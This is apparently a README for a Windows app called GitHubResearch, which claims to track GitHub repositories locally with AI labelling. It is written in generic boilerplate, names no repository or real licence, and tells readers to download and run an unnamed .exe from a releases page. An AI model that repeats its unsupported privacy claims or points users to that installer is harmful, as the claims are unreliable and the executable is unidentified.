GitHubResearch：本地 AI 工具追踪 GitHub 项目与开发者数据

🔍 GitHubResearch - Research GitHub data with smart AI

🎯 About This Application

GitHubResearch helps you track and organize data from GitHub. The application scans six data sources to find insights about projects and developers. It uses built-in AI to sort information so you spend less time searching and more time reading.

This tool runs on your computer. Your data stays on your local machine rather than in the cloud. We designed this to help developers and researchers find trending repositories without manual tracking.

⚙️ System Requirements

Before you install the application, check that your computer meets these requirements:

• Operating System: Windows 10 or Windows 11.
• Processor: Intel Core i3 or equivalent (64-bit).
• Memory: 4 GB RAM.
• Storage: 200 MB of free space.
• Internet Connection: Active link for data updates.

📥 How to Install

Follow these steps to set up the software on your Windows machine:

1. Visit the official releases page to access the files.
2. Look for the section labeled "Assets" at the bottom of the latest release.
3. Select the file ending in .exe to begin the download.
4. Locate the downloaded file in your Downloads folder.
5. Double-click the file to start the installation assistant.
6. Follow the prompts on your screen.
7. Click "Finish" to open the application when the installation ends.

🚀 Getting Started

When you open GitHubResearch for the first time, you will see a clean dashboard. If this is your first time using the tool, follow this workflow to see results:

1. Select the "Data Sources" tab on the left menu.
2. Toggle the switches for the repositories or users you want to track.
3. Press the "Sync" button at the top right of the window.
4. Wait for the progress bar to finish.
5. Return to the "Dashboard" tab to view the AI-sorted list of findings.

The AI engine identifies patterns in repository data. It assigns labels such as "Trending," "Fast Growing," or "Active Maintenance" to the projects in your feed. You can filter your view by these labels to focus on tools that match your specific interests.

The software sorts data into six categories:

• Trending Repositories: Projects with high community interest.
• Code Updates: Recent changes to source code.
• Issue Growth: Projects with significant bug report activity.
• Contributor Velocity: Projects attracting large numbers of new developers.
• Documentation Quality: Analysis of how well a project explains its purpose.
• Security Alerts: Identification of potential vulnerabilities.

📁 Managing Your Data

GitHubResearch uses a local database file to store your history. You can find this database in the settings menu. Since the file lives on your hard drive, you can back it up or move it to a new computer if needed.

To export your tracked list:

1. Click the "Settings" icon at the bottom of the sidebar.
2. Select "Export Data" from the menu.
3. Select a destination folder on your computer.
4. Save the file.

You can import this file later if you move to a new machine.

🛠 Troubleshooting

If the application fails to run, review the following tips:

• Firewall Blocks: You may need to allow GitHubResearch to connect to the internet through your Windows Security settings.
• Updates: Visit the release page often to see if a newer version exists. Older versions may stop reaching the GitHub API if they lack updates.
• Storage Space: Ensure you have enough disk space to store the local database. If your machine runs out of space, the application may close or stop syncing.
• Missing Data: If you see no entries, check your internet connection and verify that your GitHub status is active.

📖 Frequently Asked Questions

Does the app track my personal GitHub account? The app focuses on public data. It does not pull private information from your personal repositories unless you provide authorization within the settings.

Is my data sent to a central server? No. Everything stays on your local machine. We do not host your research data on external servers.

Can I run this on a Mac or Linux? This version is designed specifically for Windows. While the underlying code works on multiple platforms, the installer distributed here targets Windows users only.

What should I do if the AI misclassifies a project? You can right-click any item in your list to "Manually Tag" or "Ignore." The application learns from these corrections to improve its accuracy over time.

📝 License

This project uses the standard open-source license. You can view the full legal details inside the "LICENSE" file included with the download. You may use this tool for personal research without restriction.

💡 About the Development

This project uses modern web technologies to function as a desktop application. It relies on a local database to store large amounts of repository information. By using this local-first approach, the application responds faster than browser-based tools and protects your privacy. We update the repository regularly to ensure compatibility with the official GitHub API.